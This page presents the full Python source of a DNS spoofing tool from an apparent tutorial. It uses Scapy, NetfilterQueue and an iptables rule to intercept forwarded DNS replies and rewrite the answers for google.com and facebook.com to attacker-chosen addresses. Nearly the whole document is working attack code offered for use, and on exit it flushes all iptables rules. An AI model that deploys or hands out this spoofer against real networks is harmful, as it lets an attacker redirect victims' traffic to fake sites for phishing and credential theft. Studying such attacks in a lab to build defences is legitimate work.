Code for How to Make a DNS Spoof Attack using Scapy in Python Tutorial


View on Github

dns_spoof.py

from scapy.all import * from netfilterqueue import NetfilterQueue import os # DNS mapping records, feel free to add/modify this dictionary # for example, google.com will be redirected to 192.168.1.100 dns_hosts = { b"www.google.com.": "192.168.1.100", b"google.com.": "192.168.1.100", b"facebook.com.": "172.217.19.142" } def process_packet(packet): """ Whenever a new packet is redirected to the netfilter queue, this callback is called. """ # convert netfilter queue packet to scapy packet scapy_packet = IP(packet.get_payload()) if scapy_packet.haslayer(DNSRR): # if the packet is a DNS Resource Record (DNS reply) # modify the packet print("[Before]:", scapy_packet.summary()) try: scapy_packet = modify_packet(scapy_packet) except IndexError: # not UDP packet, this can be IPerror/UDPerror packets pass print("[After ]:", scapy_packet.summary()) # set back as netfilter queue packet packet.set_payload(bytes(scapy_packet)) # accept the packet packet.accept() def modify_packet(packet): """ Modifies the DNS Resource Record `packet` ( the answer part) to map our globally defined `dns_hosts` dictionary. For instance, whenver we see a google.com answer, this function replaces the real IP address (172.217.19.142) with fake IP address (192.168.1.100) """ # get the DNS question name, the domain name qname = packet[DNSQR].qname if qname not in dns_hosts: # if the website isn't in our record # we don't wanna modify that print("no modification:", qname) return packet # craft new answer, overriding the original # setting the rdata for the IP we want to redirect (spoofed) # for instance, google.com will be mapped to "192.168.1.100" packet[DNS].an = DNSRR(rrname=qname, rdata=dns_hosts[qname]) # set the answer count to 1 packet[DNS].ancount = 1 # delete checksums and length of packet, because we have modified the packet # new calculations are required ( scapy will do automatically ) del packet[IP].len del packet[IP].chksum del packet[UDP].len del packet[UDP].chksum # return the modified packet return packet if __name__ == "__main__": QUEUE_NUM = 0 # insert the iptables FORWARD rule os.system("iptables -I FORWARD -j NFQUEUE --queue-num {}".format(QUEUE_NUM)) # instantiate the netfilter queue queue = NetfilterQueue() try: # bind the queue number to our callback `process_packet` # and start it queue.bind(QUEUE_NUM, process_packet) queue.run() except KeyboardInterrupt: # if want to exit, make sure we # remove that rule we just inserted, going back to normal. os.system("iptables --flush")